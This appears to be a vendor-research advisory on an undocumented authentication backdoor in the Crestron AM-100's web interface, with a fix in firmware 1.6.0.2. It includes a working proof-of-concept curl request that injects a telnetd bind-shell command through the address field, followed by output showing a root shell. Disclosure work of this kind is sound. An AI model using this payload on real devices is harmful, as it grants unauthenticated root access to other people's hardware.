Synopsis
While doing patch analysis on the Crestron AM-100, Tenable discovered a backdoor had been removed in the most recent firmware version (1.6.0.2). Tenable found no documentation for this patch. After sharing this finding with Creston, they confirmed the issue and released a new security advisory.
The backdoor exists in the web interface's return.cgi binary. The logic looks for a noNeedSeid XML node containing the text "SetFlag" where the authenticated user's token should be:
A remote unauthenticated attacker can combine this attack with CVE-2017-16709 to get a root shell.
albinolobster@ubuntu:~$ curl --header "Content-Type: application/x-www-form-urlencoded" --request POST --data "command=<Send><noNeedSeid>SetFlag</noNeedSeid><upload><protocol>http</protocol><address>http://192.168.88.253:1270||telnetd -l /bin/sh -b 0.0.0.0:1270|| whoami</address><logo>lol</logo></upload></Send>" --insecure https://192.168.88.250/cgi-bin/return.cgi <return><protocol>http</protocol><result>0</result></return> albinolobster@ubuntu:~$ albinolobster@ubuntu:~$ telnet 192.168.88.250 1270 Trying 192.168.88.250... Connected to 192.168.88.250. Escape character is '^]'. ~/boa/cgi-bin # uname -a Linux Crestron.AirMedia-1.1.wm8750 2.6.32.9-default #7 Thu Apr 2 16:50:50 CST 2015 armv6l GNU/Linux ~/boa/cgi-bin # cat /proc/cpuinfo Processor : ARMv6-compatible processor rev 7 (v6l) BogoMIPS : 532.24 Features : swp half thumb fastmult vfp edsp java CPU implementer : 0x41 CPU architecture: 7 CPU variant : 0x0 CPU part : 0xb76 CPU revision : 7 Hardware : WMT Revision : 0000 Serial : 0000000000000000 ~/boa/cgi-bin # whoami root ~/boa/cgi-bin #
Solution
Upgrade to AM-100 1.6.0.2.
Additional References
http://security.crestron.com/Content/Security-Advisories.htmhttps://www.crestron.com/en-US/Products/Workspace-Solutions/Wireless-Presentation-Solutions/AirMedia-Presentation-Gateways/AM-100
Disclosure Timeline
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